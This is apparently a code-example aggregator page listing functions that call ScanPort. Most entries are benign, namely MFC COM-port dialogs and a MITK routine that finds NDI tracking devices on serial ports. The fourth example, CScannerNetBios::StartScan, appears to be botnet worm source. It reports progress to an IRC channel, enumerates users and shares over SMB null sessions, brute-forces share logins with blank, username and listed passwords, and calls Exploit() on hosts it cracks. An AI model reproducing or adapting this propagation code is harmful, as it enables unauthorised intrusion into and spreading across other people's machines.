예제 #1
0
BOOL CComSetDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// TODO:  在此添加额外的初始化
	ScanPort();
	return TRUE;  // return TRUE unless you set the focus to a control
	// 异常: OCX 属性页应返回 FALSE
}
예제 #2
0
파일: COMSET.cpp 프로젝트: youxidonxx/PCSW
BOOL CCOMSET::OnInitDialog() 
{
	CDialog::OnInitDialog();
	
	// TODO: Add extra initialization here
	ScanPort();
// 	UpdateData(FALSE);
	
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}
void QmitkTrackingDeviceConfigurationWidgetScanPortsWorker::ScanPortsThreadFunc()
{
  int PolarisPort = -1;
  int AuroraPort = -1;
  int PortTypePolaris = -1;
  int PortTypeAurora = -1;

  QString result = "<br>Found Devices:";
  int resultSize = result.size(); //remember size of result: if it stays the same no device were found

  #ifdef WIN32
    mitk::ProgressBar::GetInstance()->AddStepsToDo(19);

    QString devName;
    for (unsigned int i = 1; i < 20; ++i)
    {
      QString statusOutput = "Scanning Port #" + QString::number(i);
      MITK_INFO << statusOutput.toStdString().c_str();
      if (i<10) devName = QString("COM%1").arg(i);
      else devName = QString("\\\\.\\COM%1").arg(i); // prepend "\\.\ to COM ports >9, to be able to allow connection"
      mitk::TrackingDeviceType scannedPort = ScanPort(devName);
      switch (scannedPort)
      {
      case mitk::NDIPolaris:
        result += "<br>" + devName + ": " + "NDI Polaris";
        PolarisPort = i;
        break;
      case mitk::NDIAurora:
        result += "<br>" + devName + ": " + "NDI Aurora";
        AuroraPort = i;
        break;
      }
      mitk::ProgressBar::GetInstance()->Progress();
    }
  #else //linux systems
    for(unsigned int i = 1; i < 6; ++i)
    {
      QString devName = QString("/dev/ttyS%1").arg(i);
      mitk::TrackingDeviceType scannedPort = ScanPort(devName);
      switch (scannedPort)
      {
      case mitk::NDIPolaris:
        result += "<br>" + devName + ": " + "NDI Polaris";
        PolarisPort = i;
        PortTypePolaris = 1;
        break;
      case mitk::NDIAurora:
        result += "<br>" + devName + ": " + "NDI Aurora";
        AuroraPort = i;
        PortTypeAurora = 1;
        break;
      }

    }
    for(unsigned int i = 0; i <7; ++i)
    {
      QString devName = QString("/dev/ttyUSB%1").arg(i);
      mitk::TrackingDeviceType scannedPort = ScanPort(devName);
      switch (scannedPort)
      {
      case mitk::NDIPolaris:
        result += "<br>" + devName + ": " + "NDI Polaris";
        PolarisPort = i;
        PortTypePolaris = 0;
        break;
      case mitk::NDIAurora:
        result += "<br>" + devName + ": " + "NDI Aurora";
        AuroraPort = i;
        PortTypeAurora = 0;
        break;
      }

    }
  #endif

  if ( result.size() == resultSize) result += "<br>none";

  emit PortsScanned(PolarisPort,AuroraPort,result,PortTypePolaris,PortTypeAurora);
}
예제 #4
0
void CScannerNetBios::StartScan(const CString &sHost)
{	if(ScanPort(sHost.CStr(), 445) || ScanPort(sHost.CStr(), 139))
	{	g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: scanning ip %s.", m_sScannerName.CStr(), sHost.CStr());

		MultiByteToWideChar(CP_ACP, 0, sHost.CStr(), sHost.GetLength()+1, m_wszHost, (int)sizeof(m_wszHost)/(int)sizeof(m_wszHost[0]));
		wcscpy(m_wszServer, L"\\\\"); wcscat(m_wszServer, m_wszHost);
		wcscpy(m_wszResource, m_wszServer); wcscat(m_wszResource, L"\\IPC$");

		int iNameCount=0, iShareCount=0; m_lUsers.clear(); m_lShares.clear();

		CloseSession();
		if(NullSession()) { GetUsers(&m_lUsers); GetShares(&m_lShares); CloseSession(); }

		while(names[iNameCount])
		{	userinfo *pUser=new userinfo;
			pUser->sName.Assign(names[iNameCount]);
			pUser->sServer.Assign(sHost);
			m_lUsers.push_back(pUser);
			iNameCount++; }
		
		while(shares[iShareCount])
		{	shareinfo *pShare=new shareinfo;
			pShare->sName.Assign(shares[iShareCount]);
			pShare->sRemark.Assign("default");
			m_lShares.push_back(pShare);
			iShareCount++; }
		
		bool bExploited=false;
		
		list<shareinfo*>::iterator iShares; iShares=m_lShares.begin();
		list<userinfo*>::iterator iUsers; iUsers=m_lUsers.begin();
		while(iShares!=m_lShares.end() && !bExploited && m_pScanner->m_bScanning)
		{	while(iUsers!=m_lUsers.end() && !bExploited && m_pScanner->m_bScanning)
			{	WCHAR wszShare[MAX_PATH];
				wcscpy(m_wszServer, L"\\\\"); wcscat(m_wszServer, m_wszHost);
				wcscpy(m_wszResource, m_wszServer); wcscat(m_wszResource, L"\\");
				MultiByteToWideChar(CP_ACP, 0, (*iShares)->sName, (*iShares)->sName.GetLength()+1, wszShare, (int)sizeof(wszShare)/(int)sizeof(wszShare[0]));
				wcscat(m_wszResource, wszShare);

				if(AuthSession((*iUsers)->sName.CStr(), "") && !bExploited)
				{	bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), "");
					CloseSession(); }

				if(AuthSession((*iUsers)->sName.CStr(), (*iUsers)->sName.CStr()) && !bExploited)
				{	bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), (*iUsers)->sName.CStr());
					CloseSession(); }

				int pwd_count=0; while(pwds[pwd_count] && !bExploited)
				{	if(AuthSession((*iUsers)->sName.CStr(), pwds[pwd_count]) && !bExploited)
					{	bExploited=Exploit((*iShares)->sName.CStr(), sHost.CStr(), (*iUsers)->sName.CStr(), pwds[pwd_count]);
						CloseSession(); }
					pwd_count++; }

				iUsers++; }
			iShares++; iUsers=m_lUsers.begin(); }

		for(iUsers=m_lUsers.begin(); iUsers!=m_lUsers.end(); ++iUsers) delete (*iUsers);
		for(iShares=m_lShares.begin(); iShares!=m_lShares.end(); ++iShares) delete (*iShares);
		m_lUsers.clear(); m_lShares.clear();
	}
}
예제 #5
0
void CComSetDlg::OnCbnDropdownComboComset()
{
	// TODO: 在此添加控件通知处理程序代码
	ScanPort();
}